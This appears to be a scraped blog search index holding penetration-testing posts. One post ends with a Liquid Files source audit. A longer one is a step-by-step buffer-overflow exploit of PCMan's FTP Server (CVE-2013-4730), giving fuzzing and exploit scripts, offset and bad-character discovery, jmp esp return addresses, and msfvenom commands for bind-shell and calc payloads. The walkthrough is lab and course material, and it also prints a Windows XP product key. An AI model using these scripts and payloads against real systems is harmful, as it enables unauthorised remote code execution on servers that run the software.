Web\nThe sanitize_filename method is used to process the filename parameter\ndef sanitize_filename unless (@sanitized_filename = script_params[:script_name].gsub(/[^a-zA-Z0-9\\-\\_\\.]/, \u0026#34;_\u0026#34;).gsub(/^\\./, \u0026#34;_\u0026#34;).strip).present? render_error \u0026#34;Invalid Filename\u0026#34;, { location: admin_actionscripts_url } end end The validation logic only allows a-zA-Z0-9-_; every other character gets replaced with _.\nIn short, this feature point validates the filename at the Controller layer first, and what gets called later in the View layer is also the safe execution function escaped by shellescape — this filtering is pretty solid.\nNo rush, let\u0026rsquo;s keep analyzing.\nAfter searching the backend forever without finding where this ActionScript gets triggered\u0026hellip; so back to searching the code, and it turns out\nIn the \u0026ldquo;add user\u0026rdquo; area, there\u0026rsquo;s a feature called Delivery Action, which sets an Action to run automatically after a message is delivered to a certain user\nWhat delivery action should be taken when a message is being delivered to this user.\nYou can manage Actionscripts in the Actionscripts section.\nA Weak EXP The complete exploitation process is shown below\nA few other features can trigger it too\nExcept, it\u0026rsquo;s a low-privilege user — with almost no permissions at all\u0026hellip; Since we can\u0026rsquo;t modify files, there\u0026rsquo;s no way to escalate privileges by modifying code — so what now?\nI\u0026rsquo;ll leave that for you folks to ponder. That\u0026rsquo;s it for today\u0026rsquo;s article, haha~\n","permalink":"https://www.unc.la/en/posts/penetration/source_code_auditing_in_the_wild/","summary":"\u003cp\u003eUsing a recent case, let\u0026rsquo;s talk about some techniques for obtaining source code in real engagements.\u003c/p\u003e\n\u003cp\u003e(This is also material from a closed-door sharing session a while back: \u003ccode\u003ehope you guys enjoy it~\u003c/code\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"liquid-files\"\u003eLiquid Files\u003c/h1\u003e\n\u003cp\u003eLiquid Files is a foreign file-sharing (cloud disk) system; official site: \u003ca href=\"https://www.liquidfiles.com/\"\u003ehttps://www.liquidfiles.com/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1630069686727-4a2128c6-a2d4-4440-8e16-7f1322a82d99.png\"\u003e\u003c/p\u003e\n\u003cp\u003eIt\u0026rsquo;s a commercial system, widely used abroad.\u003c/p\u003e\n\u003cp\u003eToday we\u0026rsquo;ll try to obtain the source code of this system and conduct a preliminary attack-surface assessment (an initial code audit).\u003c/p\u003e","title":"How to Obtain Source Code During Penetration Testing"},{"content":"[CVE-2013-4730] PCMan\u0026rsquo;s FTP Server\nCourse links: https://www.secpulse.com/archives/116030.html\nhttps://www.aqniukt.com/goods/show/597?targetId=12784\u0026amp;preview=0\nInstalling Windows XP Windows XP Home Edition Simplified Chinese retail original CD-KEY:\nBQJG2-2MJT7-H7F6K-XW98B-4HQRQ Basic Steps of the Overflow 1. Trigger the exception import socket import sys s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((\u0026#34;pacman\u0026#34;,21)) # login BOF # Confirm the crash caused by bof here # It crashed at 2000 for i in range(1990, 2050): if i % 1 == 0: s.send(b\u0026#34;USER: \u0026#34; + \u0026#34;A\u0026#34;.encode()*i + \u0026#34;\\r\\n\u0026#34;.encode()) data = s.recv(1024) print(str(i) + \u0026#34;:\u0026#34; + data.decode()) 2. Analyze the exception =\u0026gt; determine exploitability We observe that after sending 2000 A\u0026rsquo;s, the FTP server crashes and the EIP register is overwritten with AAAA (i.e., the 41414141 shown in the screenshot)\nBackground knowledge supplement\nESP: Dedicated to use as the stack pointer, aptly called the top-of-stack pointer. The top of the stack is the low-address region; the more data pushed onto the stack, the smaller ESP becomes. On 32-bit platforms, ESP decreases by 4 bytes each time. This experiment uses 32-bit Windows XP.\nEIP: This register holds the memory address of the [next CPU instruction]. After the CPU finishes executing the current instruction, it reads the memory address of the next instruction from the EIP register and continues executing.\nIn other words, since we already control EIP, can\u0026rsquo;t we also control ESP, which sits right after EIP?\nHowever, since we don\u0026rsquo;t know whether the offset is exactly 2000 or some other number, we need to use one of the two methods below to determine the exact offset value.\n3. Finding space for the shellcode Three methods to determine the EIP offset: binary search, the unique-string method, and the plugin method\n- Binary search Somewhat like the \u0026ldquo;guess high or low\u0026rdquo; game. We already know that when the number of input characters (A here) exceeds 2000, the system will of course crash. So we just assume the EIP offset is N; after sending N As, exactly the character B\u0026rsquo;s value should be stored at EIP — which is what the lines below show: lines 1 and 2, 2050 and 2100, are both too long; keep bisecting down to 2000 and find that EIP is exactly overwritten with 42424242, meaning the offset is exactly 2000.\nevil = \u0026#34;A\u0026#34;*2100 + \u0026#34;B\u0026#34;*4 #EIP=41414141 (too long) evil = \u0026#34;A\u0026#34;*2050 + \u0026#34;B\u0026#34;*4 #EIP=41414141 (too long) ... evil = \u0026#34;A\u0026#34;*2001 + \u0026#34;B\u0026#34;*4 #EIP=42414141(exactly change) evil = \u0026#34;A\u0026#34;*2000 + \u0026#34;B\u0026#34;*4 #EIP=42424242(exactly) - Unique-string method On one hand, you can use the mona plugin; entering the following command generates a unique string of length 3000\n!mona pc 3000 Send the unique string over!\nonly = \u0026#34;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9\u0026#34; s.send(b\u0026#34;USER: \u0026#34; + only.encode() + \u0026#34;\\r\\n\u0026#34;.encode()) data = s.recv(1024) Observe the crash and note the EIP value, which is 376F4336 in the screenshot below\nUse the mona plugin\u0026rsquo;s functionality to locate the position of the unique string (remember to prefix the address with 0x)\n!mona po 0x376F4336 As shown below, - Pattern 6Co7 (0x376F4336) found in cyclic pattern at position 2000\nThis also yields an offset of 2000\nOn the other hand, generating the unique string can also be done with a tool bundled in Kali\n# Generate unique string\t-l $ msf-pattern_create -l 3000 \u0026gt; pattern3k.txt # Query offset -q $ msf-pattern_offset -l 3000 -q 376F4336 [*] Exact match at offset 2000 - Plugin method # Must be run after the overflow, otherwise the result is empty !mona findmsp After installing the mona plugin and running the command above, you can also obtain the offset of 2000.\n4. Identifying bad characters The payload may contain so-called \u0026ldquo;bad characters,\u0026rdquo; which get filtered out during execution or executed with a different meaning, causing the payload to behave differently from the expected result on the target system.\nYou should understand: in a real environment, you often only get one shot\nMy personal understanding: ultimately RCE is achieved by overwriting the EIP and ESP registers, so two things must be ensured\nNo bad characters causing ambiguity; they must be excluded from the final shellcode **ESP** must be reached; use \\x90*50, i.e. NOPs, to guarantee this Just copy the characters below, or generate them with the mona plugin\n!mona bytearray or !mona ba # Remove \\x00 !mona bc -cpb \u0026#39;\\x00\u0026#39; First of all, know that \\x00 is definitely a bad string.\nIn buffer overflows, the most typical one is \u0026ldquo;\\x00\u0026rdquo;; most CPU architectures treat it as abad character during execution\n#!/usr/bin/python # -*- coding: UTF-8 -*- import socket import sys s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((\u0026#34;pacman\u0026#34;,21)) JuNk = \u0026#34;\\x42\u0026#34; * 2000 PADDING = \u0026#34;\\x5a\u0026#34; * 4 NOP = \u0026#34;\\x90\u0026#34; * 50 badchars = (\u0026#34;\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\u0026#34; \u0026#34;\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\u0026#34; \u0026#34;\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\u0026#34; \u0026#34;\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\u0026#34; \u0026#34;\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\u0026#34; \u0026#34;\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\u0026#34; \u0026#34;\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\u0026#34; \u0026#34;\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff\u0026#34; ) pkt = \u0026#34;USER: \u0026#34; + JuNk + PADDING + NOP + badchars pkt = pkt + \u0026#34;\\r\\n\u0026#34; pkt = pkt.encode() s.send(pkt) data = s.recv(1024) print(data) Next, we send the bad characters over and see 00 appear at the position of 0a — a second bad character!\nRemove 0a from the badchars string and keep firing\nWe find 0d is also a bad character — done\nIn the end we confirm that \\x0a\\x0d are bad characters. [Personal take: the reason these two are bad characters is that in the FTP program \u0026lt;font style=\u0026quot;color:#333333;\u0026quot;\u0026gt;\\x0d\\x0a\u0026lt;/font\u0026gt; has special meaning — it moves directly to the next line, acting like a delimiter]\n5. Finding the springboard Frequently used DLLs get mapped into memory, e.g. kernel.32.dll and user32.dll are loaded by almost every process, and their load base address is always the same (it may differ across OSes). So here we use a jmp esp in user32.dll as the springboard.\nWhy use jmp esp as the springboard? The main reasons are as follows:\nOverwrite the return address with the address of any \u0026ldquo;jmp esp\u0026rdquo; in memory\nAfter the function returns, execution is redirected to the jmp esp instruction in memory\n3) Because after the function returns ESP points past the return address, once **jmp esp** executes, the CPU fetches instructions from the location after the function\u0026rsquo;s return address on the stack\n4) Shellcode layout. Fill the front part of the buffer with arbitrary data and place the **shellcode** after the function\u0026rsquo;s return address. Once **jmp esp** finishes executing, the shellcode runs.\n————————————————\nCopyright notice: this is an original article by CSDN blogger 「0x4C43」, released under the CC 4.0 BY-SA license; please attach the original source link and this notice when reprinting.\nOriginal link: https://blog.csdn.net/swjtu100/article/details/50032831\nTo find a \u0026lt;font style=\u0026quot;color:#000000;background-color:#FEFEFE;\u0026quot;\u0026gt;JMP ESP\u0026lt;/font\u0026gt; in the system to use as a springboard, it is recommended to first look in the software\u0026rsquo;s own libraries, then in system-wide libraries.\n(1) Manually searching for a springboard To start searching for the \u0026ldquo;\u0026lt;font style=\u0026quot;color:rgb(33, 37, 41);\u0026quot;\u0026gt;JMP ESP\u0026lt;/font\u0026gt;\u0026rdquo; instruction, use the View menu in the debugger, Executable modules option, then double-click the essfunc module in the window that appears; judging by the module path, it should load from the same directory as the main vulnserver executable. The essfunc module should now be shown in the debugger\u0026rsquo;s CPU view. Right-click in the disassembler pane and choose Search for-\u0026gt;Command , then type \u0026ldquo;\u0026lt;font style=\u0026quot;color:rgb(33, 37, 41);\u0026quot;\u0026gt;JMP ESP\u0026lt;/font\u0026gt;\u0026rdquo; (without quotes) in the \u0026ldquo;Find Command\u0026rdquo; window that appears and click Find. The disassembler pane should now show the address of the first \u0026ldquo;JMP ESP\u0026rdquo; instruction in the essfunc module.\nAs shown above, the address of the instruction is \u0026lt;font style=\u0026quot;color:rgb(33, 37, 41);\u0026quot;\u0026gt;625011AF\u0026lt;/font\u0026gt;. This address contains no common bad characters (such as 0, A, D), so it should provide a good overwrite address for us to try using.\n(2) Using the mona plugin !mona jmp -r esp The results are below; addresses where 00 appears in the second column cannot be used as the springboard.\n0BADF00D [+] Results : 77F5801C 0x77f5801c : jmp esp | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\System32\\ntdll.dll) 77F77343 0x77f77343 : jmp esp | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\System32\\ntdll.dll) 0043410D 0x0043410d : jmp esp | startnull,ascii {PAGE_EXECUTE_READ} [PCManFTPD2.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.0.0.0 (C:\\Documents and Settings\\Owner\\桌面\\PCMan\\PCManFTPD2.exe) 772F655F 0x772f655f : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.2600.0000 (C:\\WINDOWS\\system32\\SHLWAPI.dll) 77D4754A 0x77d4754a : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\USER32.dll) 773A4540 0x773a4540 : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.2600.0000 (C:\\WINDOWS\\system32\\SHELL32.dll) 77523570 0x77523570 : jmp esp | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.2600.0000 (C:\\WINDOWS\\system32\\SHELL32.dll) 77C98DF9 0x77c98df9 : jmp esp | {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\RPCRT4.dll) 77CF64AF 0x77cf64af : jmp esp | {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\RPCRT4.dll) 746B51CB 0x746b51cb : jmp esp | {PAGE_EXECUTE_READ} [MSCTF.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\System32\\MSCTF.dll) 719C403D 0x719c403d : jmp esp | {PAGE_EXECUTE_READ} [mswsock.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\mswsock.dll) 719E4267 0x719e4267 : jmp esp | {PAGE_EXECUTE_READ} [mswsock.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\mswsock.dll) 72F8B18B 0x72f8b18b : jmp esp | {PAGE_EXECUTE_READ} [WINSPOOL.DRV] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\System32\\WINSPOOL.DRV) 77E0171B 0x77e0171b : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\ADVAPI32.dll) 71A27BFB 0x71a27bfb : jmp esp | {PAGE_EXECUTE_READ} [WS2_32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\WS2_32.dll) 76EFC663 0x76efc663 : call esp | {PAGE_EXECUTE_READ} [DNSAPI.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\System32\\DNSAPI.dll) 76F0DDBB 0x76f0ddbb : call esp | {PAGE_EXECUTE_READ} [DNSAPI.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\System32\\DNSAPI.dll) 77E7FC79 0x77e7fc79 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\kernel32.dll) 77EB1933 0x77eb1933 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\kernel32.dll) 77F510B0 0x77f510b0 : call esp | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\System32\\ntdll.dll) 0BADF00D ... Please wait while I\u0026#39;m processing all remaining results and writing everything to file... If none of the results above qualify as a springboard, try the method of searching within a specified module\n!mona jmp -r esp -m \u0026#34;kernel32.dll\u0026#34; 0BADF00D [+] Results : 77E7FC79 0x77e7fc79 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\kernel32.dll) 77EB1933 0x77eb1933 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\kernel32.dll) 77E4DE9C 0x77e4de9c : push esp # ret | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 (C:\\WINDOWS\\system32\\kernel32.dll) 0BADF00D Found a total of 3 pointers Taking 0x77523570 as an example,\n0x77523570 : jmp esp | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.2600.0000 (C:\\WINDOWS\\system32\\SHELL32.dll) Note! The ret address must be written in reverse, as in the example below\n# 0x773a4540 : jmp esp # [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, # v6.00.2600.0000 (C:\\WINDOWS\\system32\\SHELL32.dll) ret = \u0026#34;\\x40\\x45\\x3a\\x77\u0026#34; 6. Writing the shellcode On XP, in many cases SafeSEH being enabled doesn\u0026rsquo;t matter, because that is not where the exploitation happens\nWhen writing the shellcode, use 0x90*50 to NOP it out\nmsfvenom -p windows/shell_bind_tcp EXITFUNC=thread -f python -v shellcode -b \u0026#34;\\x00\\x0a\\x0d\u0026#34; \u0026gt; rev_4444.txt Exploited successfully!\nReflections After the Overflow 1. Must the overflow point be USER? Try fuzzing PASS\nThe offset is 6101 Following the same old routine\nu_req = b\u0026#34;PASS \u0026#34; + junk + ret + nop + buf + b\u0026#34;\\r\\n\u0026#34; You can see: launching the calculator directly succeeded!\nDuring this, a few issues were also discovered:\nsocket.recv() — it seems that depending on whether this function blocks, sending 7k of characters over did not trigger the overflow\u0026hellip; Correct answer: the username must exist, e.g. anonymous; if it doesn\u0026rsquo;t exist, no matter how long the PASS you send, it won\u0026rsquo;t overflow\nUsing for i in range to fuzz, the program simply didn\u0026rsquo;t crash\u0026hellip; I suspect it\u0026rsquo;s related to the FTP\u0026rsquo;s rate limiting 2. Must it be JMP ESP? Not necessarily; others sometimes work too, such as\nCALL ESP PUSH ESP JMP EAX PUSH EAX Generating shellcode that pops the calculator msfvenom -p windows/exec CMD=calc.exe -b \u0026#34;\\x00\\x0a\\x0d\u0026#34; -f python ","permalink":"https://www.unc.la/en/posts/penetration/tacca1/","summary":"\u003cp\u003e[CVE-2013-4730] PCMan\u0026rsquo;s FTP Server\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCourse links: \u003ca href=\"https://www.secpulse.com/archives/116030.html\"\u003ehttps://www.secpulse.com/archives/116030.html\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.aqniukt.com/goods/show/597?targetId=12784\u0026amp;preview=0\"\u003ehttps://www.aqniukt.com/goods/show/597?targetId=12784\u0026amp;preview=0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"installing-windows-xp\"\u003eInstalling Windows XP\u003c/h2\u003e\n\u003cp\u003eWindows XP Home Edition Simplified Chinese retail original CD-KEY:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eBQJG2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"n\"\u003eMJT7\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eH7F6K\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eXW98B\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"n\"\u003eHQRQ\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"basic-steps-of-the-overflow\"\u003eBasic Steps of the Overflow\u003c/h2\u003e\n\u003ch3 id=\"1-trigger-the-exception\"\u003e1. Trigger the exception\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003esocket\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan 